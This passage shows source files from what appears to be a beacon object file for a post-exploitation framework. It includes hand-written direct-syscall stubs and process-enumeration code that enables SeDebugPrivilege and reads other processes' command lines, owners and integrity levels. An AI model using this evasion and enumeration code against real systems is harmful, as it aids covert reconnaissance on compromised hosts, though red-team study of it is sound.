    "content": "#pragma once\n\n// This function expects a syscall number in eax and will increment it once for every mayor version\n// Note, this function will not work for all systemcalls. Only for most of them.\n// Example:\n// mov rax, 0x23                               ; Win 6.1 = 0x23, 6.2 = 0x24, 6.3 = 0x25, 10 = 0x26\n// call ExecuteSimpleSystemCallBase\n\n__asm__(\"ExecuteSimpleSystemCallBase:                     \\n\\\n    mov r10, gs:[0x60]                                    \\n\\\nExecuteSimpleSystemCallBase_Check_X_X_XXXX:               \\n\\\n    cmp word ptr [r10+0x118], 10                          \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX  \\n\\\n    cmp word ptr [r10+0x118], 6                           \\n\\\n    jne ExecuteSimpleSystemCallBase_SystemCall_Unknown    \\n\\\nExecuteSimpleSystemCallBase_Check_6_X_XXXX:               \\n\\\n    cmp word ptr [r10+0x11c], 3                           \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX   \\n\\\n    cmp word ptr [r10+0x11c], 2                           \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX   \\n\\\n    cmp word ptr [r10+0x11c], 1                           \\n\\\n    jne ExecuteSimpleSystemCallBase_SystemCall_Unknown    \\n\\\nExecuteSimpleSystemCallBase_Check_6_1_XXXX:               \\n\\\n    cmp word ptr [r10+0x120], 7601                        \\n\\\n    je  ExecuteSimpleSystemCallBase_SystemCall_6_1_7601   \\n\\\n    jmp ExecuteSimpleSystemCallBase_SystemCall_Unknown    \\n\\\nExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX:         \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX:          \\n\\\n    inc eax                                               \\n\\\nExecuteSimpleSystemCallBase_SystemCall_6_1_7601:          \\n\\\nExecuteSimpleSystemCallBase_Epilogue:                     \\n\\\n    pop r10                                               \\n\\\n    mov r10, rcx                                          \\n\\\n    syscall                                               \\n\\\nExecuteSimpleSystemCallBase_Finished:                     \\n\\\nExecuteSimpleSystemCallBase_SystemCall_Unknown:           \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQuerySystemInformation:                        \\n\\\n    mov rax, 0x033                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationProcess:                       \\n\\\n    mov rax, 0x016                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwOpenProcess:                                   \\n\\\n    mov rax, 0x023                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAdjustPrivilegesToken:                         \\n\\\n    mov rax, 0x03E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwQueryInformationToken:                         \\n\\\n    mov rax, 0x01E                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwAllocateVirtualMemory:                         \\n\\\n    mov rax, 0x015                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwFreeVirtualMemory:                             \\n\\\n    mov rax, 0x01B                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwReadVirtualMemory:                             \\n\\\n    mov rax, 0x03C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwWriteVirtualMemory:                            \\n\\\n    mov rax, 0x037                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwCreateFile:                                    \\n\\\n    mov rax, 0x052                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n\n__asm__(\"ZwClose:                                         \\n\\\n    mov rax, 0x00C                                        \\n\\\n    call ExecuteSimpleSystemCallBase                      \\n\\\n    ret                                                   \\n\\\n    \");\n"
  },
  {
    "path": "Process-BOF/process/base.c",
    "content": "#include \"bofdefs.h\"\n#include <windows.h>\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\n#ifdef BOF\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n#else\n#define internal_printf printf\n#define printoutput \n#define bofstart \n#endif\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "Process-BOF/process/psc.c",
    "content": "#include <ws2tcpip.h>\n#include <windows.h>\n#include \"base.c\"\n#include <tchar.h>\n#include <stdio.h>\n#include <iphlpapi.h>\n#include <wtsapi32.h>\n#if defined(WOW64)\n#include \"Syscalls-WoW64.h\"\n#else\n#include \"Syscalls.h\"\n#endif\n\n#ifdef __MINGW32__\n#if(_WIN32_WINNT >= 0x0601)\n#else\n#undef _WIN32_WINNT\n#define _WIN32_WINNT 0x0601\n#endif\n#endif\n#define MAX_NAME 256\n#define MAX_STRING 16384\n\nLPWSTR g_lpwReadBuf = (LPWSTR)1;\n\nenum IntegLevel {\n\tUntrusted = 0,\n\tLowIntegrity = 1,\n\tMediumIntegrity = 2,\n\tHighIntegrity = 3,\n\tSystemIntegrity = 4,\n\tProtectedProcess = 5\n};\n\ntypedef NTSTATUS(NTAPI* _NtOpenProcessToken)(\n\tIN HANDLE ProcessHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tOUT PHANDLE TokenHandle\n\t);\n\ntypedef void (WINAPI* _RtlInitUnicodeString)(\n\tPUNICODE_STRING DestinationString,\n\tPCWSTR SourceString\n\t);\n\ntypedef void(WINAPI* _RtlFreeUnicodeString)(\n\tPUNICODE_STRING UnicodeString\n\t);\n\ntypedef void (WINAPI* _RtlInitAnsiString)(\n\tPANSI_STRING DestinationString,\n\tPSTR SourceString\n\t);\n\ntypedef NTSTATUS(NTAPI* _RtlAnsiStringToUnicodeString)(\n\tPUNICODE_STRING DestinationString,\n\tPANSI_STRING SourceString,\n\tBOOLEAN AllocateDestinationString\n\t);\n\ntypedef BOOLEAN(NTAPI* _RtlEqualUnicodeString)(\n\tPUNICODE_STRING String1,\n\tPCUNICODE_STRING String2,\n\tBOOLEAN CaseInSensitive\n\t);\n\ntypedef NTSTATUS(NTAPI *_RtlWow64EnableFsRedirectionEx)(\n\t_In_ PVOID DisableFsRedirection,\n\t_Out_ PVOID *OldFsRedirectionLevel\n\t);\n\ntypedef NTSTATUS(NTAPI *_NtWow64QueryInformationProcess64) (\n\tIN HANDLE ProcessHandle,\n\tIN PROCESSINFOCLASS ProcessInformationClass,\n\tOUT PVOID ProcessInformation,\n\tIN ULONG ProcessInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL\n\t);\n\ntypedef NTSTATUS(NTAPI *_NtWow64ReadVirtualMemory64)(\n\tIN HANDLE ProcessHandle,\n\tIN ULONG64 BaseAddress,\n\tOUT PVOID Buffer,\n\tIN ULONG64 Size,\n\tOUT PULONG64 NumberOfBytesRead\n\t);\n\ntypedef PULONG(NTAPI *_RtlSubAuthoritySid)(\n\tPSID  Sid,\n\tULONG SubAuthority\n\t);\n\ntypedef PUCHAR(NTAPI *_RtlSubAuthorityCountSid)(\n\t_In_ PSID Sid\n\t);\n\ntypedef PWSTR(NTAPI *_RtlIpv4AddressToStringW)(\n\tstruct in_addr *Addr,\n\tPWSTR S\n\t);\n\ntypedef PWSTR(NTAPI *_RtlIpv6AddressToStringW)(\n\tstruct in6_addr *Addr,\n\tPWSTR S\n\t);\n\nvoid ConvertUnicodeStringToChar(const wchar_t* src, size_t srcSize, char* dst, size_t dstSize)\n{\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, src, (int)srcSize, dst, (int)dstSize, NULL, NULL);\n    dst[dstSize - 1] = '\\0';\n}\n\nBOOL IsProcessWoW64(_In_ HANDLE hProcess) {\n\tNTSTATUS status;\n\tULONG_PTR IsWow64 = 0;\n\n\tstatus = ZwQueryInformationProcess(hProcess, ProcessWow64Information, &IsWow64, sizeof(ULONG_PTR), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tif (IsWow64 == 0) {\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nULONG GetPid() {\n\tPROCESS_BASIC_INFORMATION pbi = { 0 };\n\t\n\tNTSTATUS status = ZwQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn 0;\n\t}\n\n\treturn (ULONG)pbi.UniqueProcessId;\n}\n\nBOOL IsElevated() {\n\tBOOL fRet = FALSE;\n\tHANDLE hToken = NULL;\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY, &hToken);\n\tif (status == STATUS_SUCCESS) {\n\t\tTOKEN_ELEVATION Elevation = { 0 };\n\t\tULONG ReturnLength;\n\n\t\tstatus = ZwQueryInformationToken(hToken, TokenElevation, &Elevation, sizeof(Elevation), &ReturnLength);\n\t\tif (status == STATUS_SUCCESS) {\n\t\t\tfRet = Elevation.TokenIsElevated;\n\t\t}\n\t}\n\n\tif (hToken != NULL) {\n\t\tZwClose(hToken);\n\t}\n\n\treturn fRet;\n}\n\nBOOL SetDebugPrivilege() {\n\tHANDLE hToken = NULL;\n\tTOKEN_PRIVILEGES TokenPrivileges = { 0 };\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tTokenPrivileges.PrivilegeCount = 1;\n\tTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n\tLPCWSTR lpwPriv = L\"SeDebugPrivilege\";\n\tif (!ADVAPI32$LookupPrivilegeValueW(NULL, lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {\n\t\tZwClose(hToken);\n\t\treturn FALSE;\n\t}\n\n\tstatus = ZwAdjustPrivilegesToken(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\tZwClose(hToken);\n\t\treturn FALSE;\n\t}\n\n\tZwClose(hToken);\n\n\treturn TRUE;\n}\n\nLPWSTR GetProcessUser(_In_ HANDLE hProcess, _In_ BOOL bCloseHandle, _In_ BOOL bReturnDomainname, _In_ BOOL bReturnUsername) {\n\tHANDLE hToken = NULL;\n\tULONG ReturnLength;\n\tPTOKEN_USER Ptoken_User = NULL;\n\tWCHAR lpName[MAX_NAME];\n\tWCHAR lpDomain[MAX_NAME];\n\tDWORD dwSize = MAX_NAME;\n\tLPWSTR lpwUser = NULL;\n\tSID_NAME_USE SidType;\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn NULL;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(hProcess, TOKEN_QUERY, &hToken);\n\tif (status == STATUS_SUCCESS) {\n\t\tstatus = ZwQueryInformationToken(hToken, TokenUser, NULL, 0, &ReturnLength);\n\t\tif (status != STATUS_BUFFER_TOO_SMALL) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tPtoken_User = (PTOKEN_USER)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);\n\t\tstatus = ZwQueryInformationToken(hToken, TokenUser, Ptoken_User, ReturnLength, &ReturnLength);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tif (!ADVAPI32$LookupAccountSidW(NULL, Ptoken_User->User.Sid, lpName, &dwSize, lpDomain, &dwSize, &SidType)) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tlpwUser = (LPWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_NAME * sizeof(WCHAR));\n\t\tif (lpwUser != NULL) {\n\t\t\tif (bReturnDomainname) {\n\t\t\t\tMSVCRT$wcscat_s(lpwUser, MAX_NAME, lpDomain);\n\t\t\t\tif (bReturnUsername) {\n\t\t\t\t\tMSVCRT$wcscat_s(lpwUser, MAX_NAME, L\"\\\\\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (bReturnUsername) {\n\t\t\t\tMSVCRT$wcscat_s(lpwUser, MAX_NAME, lpName);\n\t\t\t}\n\t\t}\n\t}\n\t\nCleanUp:\n\t\n\tMSVCRT$memset(lpName, 0, MAX_NAME * sizeof(WCHAR));\n\tMSVCRT$memset(lpDomain, 0, MAX_NAME * sizeof(WCHAR));\n\n\tif (hProcess != NULL && bCloseHandle) {\n\t\tZwClose(hProcess);\n\t}\n\t\n\tif (hToken != NULL) {\n\t\tif (Ptoken_User != NULL){\n\t\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, Ptoken_User);\n\t\t}\n\t\tZwClose(hToken);\n\t}\n\n\treturn lpwUser;\n}\n\nDWORD IntegrityLevel(_In_ HANDLE hProcess) {\n\tHANDLE hToken = NULL;\n\tULONG ReturnLength;\n\tPTOKEN_MANDATORY_LABEL pTIL = NULL;\n\tDWORD dwIntegrityLevel;\n\tDWORD dwRet = 0;\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn 0;\n\t}\n\t\n\t_RtlSubAuthoritySid RtlSubAuthoritySid = (_RtlSubAuthoritySid)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlSubAuthoritySid\");\n\tif (RtlSubAuthoritySid == NULL) {\n\t\treturn 0;\n\t}\n\n\t_RtlSubAuthorityCountSid RtlSubAuthorityCountSid = (_RtlSubAuthorityCountSid)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlSubAuthorityCountSid\");\n\tif (RtlSubAuthorityCountSid == NULL) {\n\t\treturn 0;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(hProcess, TOKEN_QUERY, &hToken);\n\tif (status == STATUS_SUCCESS) {\n\t\tstatus = ZwQueryInformationToken(hToken, TokenIntegrityLevel, NULL, 0, &ReturnLength);\n\t\tif (status != STATUS_BUFFER_TOO_SMALL) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tpTIL = (PTOKEN_MANDATORY_LABEL)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);\n\t\tstatus = ZwQueryInformationToken(hToken, TokenIntegrityLevel, pTIL, ReturnLength, &ReturnLength);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tdwIntegrityLevel = *RtlSubAuthoritySid(pTIL->Label.Sid, (DWORD)(UCHAR)(*RtlSubAuthorityCountSid(pTIL->Label.Sid) - 1));\n\n\t\tif (dwIntegrityLevel == SECURITY_MANDATORY_UNTRUSTED_RID) {\n\t\t\tdwRet = Untrusted;\n\t\t}\n\t\telse if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {\n\t\t\tdwRet = LowIntegrity;\n\t\t}\n\t\telse if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {\n\t\t\tdwRet = MediumIntegrity;\n\t\t}\n\t\telse if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID && dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID) {\n\t\t\tdwRet = HighIntegrity;\n\t\t}\n\t\telse if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID && dwIntegrityLevel < SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {\n\t\t\tdwRet = SystemIntegrity;\n\t\t}\n\t\telse if (dwIntegrityLevel == SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {\n\t\t\tdwRet = ProtectedProcess;\n\t\t}\n\t\telse {\n\t\t\tgoto CleanUp;\n\t\t}\n\t}\n\nCleanUp:\n\n\tif (hToken != NULL) {\n\t\tZwClose(hToken);\n\t}\n\n\tif (pTIL != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTIL);\n\t}\n\n\treturn dwRet;\n}\n\nBOOL EnumPeb(_In_ HANDLE hProcess) {\n\tPROCESS_BASIC_INFORMATION pbi = { 0 };\n\tPEB peb = { 0 };\n\tRTL_USER_PROCESS_PARAMETERS upp = { 0 };\n\n\tNTSTATUS status = ZwQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tstatus = ZwReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tstatus = ZwReadVirtualMemory(hProcess, peb.ProcessParameters, &upp, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tif (g_lpwReadBuf <= (LPWSTR)1) { // For BOF we need to avoid large stack buffers, so put unicode string data on heap.\n\t\tg_lpwReadBuf = (LPWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_STRING * sizeof(WCHAR));\n\t\tif (g_lpwReadBuf == NULL) {\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\n\tstatus = ZwReadVirtualMemory(hProcess, upp.ImagePathName.Buffer, g_lpwReadBuf, upp.ImagePathName.Length, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\tg_lpwReadBuf[upp.ImagePathName.Length / sizeof(WCHAR)] = L'\\0';\n\tSIZE_T pnLength = upp.ImagePathName.Length;\n\tchar * convertedPN = intAlloc(pnLength + 1);\n\tConvertUnicodeStringToChar(g_lpwReadBuf, pnLength + 1, convertedPN, pnLength + 1);\n\tinternal_printf(\"%-18s%s\\n\", \"    ImagePath:\", convertedPN);\n\tintFree(convertedPN);\n\n\tstatus = ZwReadVirtualMemory(hProcess, upp.CommandLine.Buffer, g_lpwReadBuf, upp.CommandLine.Length, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\tg_lpwReadBuf[upp.CommandLine.Length / sizeof(WCHAR)] = L'\\0';\n\tSIZE_T cmdLength = upp.CommandLine.Length;\n\tchar * convertedCMD = intAlloc(cmdLength + 1);\n\tConvertUnicodeStringToChar(g_lpwReadBuf, cmdLength + 1, convertedCMD, cmdLength + 1);\n\tinternal_printf(\"%-18s%s\\n\", \"    CommandLine:\", convertedCMD);\n\tintFree(convertedCMD);\n\t\n\tMSVCRT$memset(g_lpwReadBuf, 0, MAX_STRING * sizeof(WCHAR));\n\n\treturn TRUE;\n}\n\nBOOL EnumPebFromWoW64(_In_ HANDLE hProcess) {\n\tPROCESS_BASIC_INFORMATION_WOW64 pbi64 = { 0 };\n\tPEB64 peb64 = { 0 };\n\tRTL_USER_PROCESS_PARAMETERS64 upp64 = { 0 };\n\n\t_NtWow64QueryInformationProcess64 NtWow64QueryInformationProcess64 = (_NtWow64QueryInformationProcess64)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWow64QueryInformationProcess64\");\n\tif (NtWow64QueryInformationProcess64 == NULL) {\n\t\treturn FALSE;\n\t}\n\n\t_NtWow64ReadVirtualMemory64 NtWow64ReadVirtualMemory64 = (_NtWow64ReadVirtualMemory64)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWow64ReadVirtualMemory64\");\n\tif (NtWow64ReadVirtualMemory64 == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tNTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi64, sizeof(pbi64), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, pbi64.PebBaseAddress, &peb64, sizeof(peb64), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"NtWow64ReadVirtualMemory64 Failed, status: 0x%08x\", status);\n\t\treturn FALSE;\n\t}\n\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, peb64.ProcessParameters, &upp64, sizeof(RTL_USER_PROCESS_PARAMETERS64), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tif (g_lpwReadBuf <= (LPWSTR)1) { // For BOF we need to avoid large stack buffers, so put unicode string data on heap.\n\t\tg_lpwReadBuf = (LPWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_STRING * sizeof(WCHAR));\n\t\tif (g_lpwReadBuf == NULL) {\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, upp64.ImagePathName.Buffer, g_lpwReadBuf, upp64.ImagePathName.Length, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\tg_lpwReadBuf[upp64.ImagePathName.Length / sizeof(WCHAR)] = L'\\0';\n\tSIZE_T pnLength = upp64.ImagePathName.Length;\n\tchar * convertedPN = intAlloc(pnLength + 1);\n\tConvertUnicodeStringToChar(g_lpwReadBuf, pnLength + 1, convertedPN, pnLength + 1);\n\tinternal_printf(\"%-18s%s\\n\", \"    ImagePath:\", convertedPN);\n\tintFree(convertedPN);\n\n\tstatus = NtWow64ReadVirtualMemory64(hProcess, upp64.CommandLine.Buffer, g_lpwReadBuf, upp64.CommandLine.Length, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\tg_lpwReadBuf[upp64.CommandLine.Length / sizeof(WCHAR)] = L'\\0';\n\tSIZE_T cmdLength = upp64.CommandLine.Length;\n\tchar * convertedCMD = intAlloc(cmdLength + 1);\n\tConvertUnicodeStringToChar(g_lpwReadBuf, cmdLength + 1, convertedCMD, cmdLength + 1);\n\tinternal_printf(\"%-18s%s\\n\", \"    CommandLine:\", convertedCMD);\n\tintFree(convertedCMD);\n\t\n\tMSVCRT$memset(g_lpwReadBuf, 0, MAX_STRING * sizeof(WCHAR));\n\n\treturn TRUE;\n}\n\nBOOL EnumFileProperties(_In_ HANDLE ProcessId, _In_ PUNICODE_STRING uProcImage) {\n\tNTSTATUS status;\n\tSYSTEM_PROCESS_ID_INFORMATION pInfo;\n\tUNICODE_STRING uImageName;\n\tIO_STATUS_BLOCK IoStatusBlock;\n\tOBJECT_ATTRIBUTES FileObjectAttributes;\n\tHANDLE hFile = NULL;\n\tDWORD dwBinaryType = SCS_32BIT_BINARY;\n\tPBYTE lpVerInfo = NULL;\n\tLPWSTR lpCompany = NULL;\n\tLPWSTR lpDescription = NULL;\n\tLPWSTR lpProductVersion = NULL;\n\n\tMSVCRT$memset(&pInfo, 0, sizeof(SYSTEM_PROCESS_ID_INFORMATION));\n\tif (ProcessId != NULL){\n\t\tpInfo.ProcessId = ProcessId;\n\t\tpInfo.ImageName.Length = 0;\n\t\tpInfo.ImageName.MaximumLength = MAX_PATH;\n\t\tpInfo.ImageName.Buffer = NULL;\n\n\t\tpInfo.ImageName.Buffer = (PWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, pInfo.ImageName.MaximumLength + 1);\n\n\t\tstatus = ZwQuerySystemInformation(88, &pInfo, sizeof(pInfo), NULL);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tInitializeObjectAttributes(&FileObjectAttributes, &pInfo.ImageName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\t}\n\telse if (uProcImage != NULL){\n\t\tInitializeObjectAttributes(&FileObjectAttributes, uProcImage, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\t}\n\telse{\n\t\tgoto CleanUp;\n\t}\n\n\tMSVCRT$memset(&IoStatusBlock, 0, sizeof(IoStatusBlock));\n\tNTSTATUS Status = ZwCreateFile(&hFile, GENERIC_READ | SYNCHRONIZE, &FileObjectAttributes, &IoStatusBlock, 0,\n\t\t0, FILE_SHARE_READ, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, NULL, 0);\n\n\tif (hFile == INVALID_HANDLE_VALUE && Status != STATUS_SUCCESS) {\n\t\tgoto CleanUp;\n\t}\n\n\tWCHAR lpszFilePath[MAX_PATH] = { 0 };\n\tDWORD dwResult = KERNEL32$GetFinalPathNameByHandleW(hFile, lpszFilePath, _countof(lpszFilePath) - 1, VOLUME_NAME_DOS);\n\tif (dwResult == 0) {\n\t\tgoto CleanUp;\n\t}\n\telse if (dwResult >= _countof(lpszFilePath)) {\n\t\tgoto CleanUp;\n\t}\n\n\tLPWSTR pwszPath = NULL;\n\tLPWSTR pwszJunk = MSVCRT$wcstok_s(lpszFilePath, L\"\\\\\", &pwszPath);\n\tif (pwszJunk == NULL || pwszPath == NULL) {\n\t\tgoto CleanUp;\n\t}\n    SIZE_T pnLength = KERNEL32$lstrlenW(pwszPath);\n    char * convertedPN = intAlloc(pnLength + 1);\n    ConvertUnicodeStringToChar(pwszPath, pnLength + 1, convertedPN, pnLength + 1);\n    internal_printf(\"%-18s%s\\n\", \"    Path:\",  convertedPN);\n    intFree(convertedPN);\n\n\tif (KERNEL32$GetBinaryTypeW(pwszPath, &dwBinaryType)) {\n\t\tif (dwBinaryType == SCS_64BIT_BINARY) {\n            internal_printf(\"%-18s%s\\n\", \"    ImageType:\", \"64-bit\");\n\t\t}\n\t\telse {\n            internal_printf(\"%-18s%s\\n\", \"    ImageType:\", \"32-bit\");\n\t\t}\n\t}\n\n\tDWORD dwHandle = 0;\n\tDWORD dwLen = VERSION$GetFileVersionInfoSizeW(pwszPath, &dwHandle);\n\tif (!dwLen) 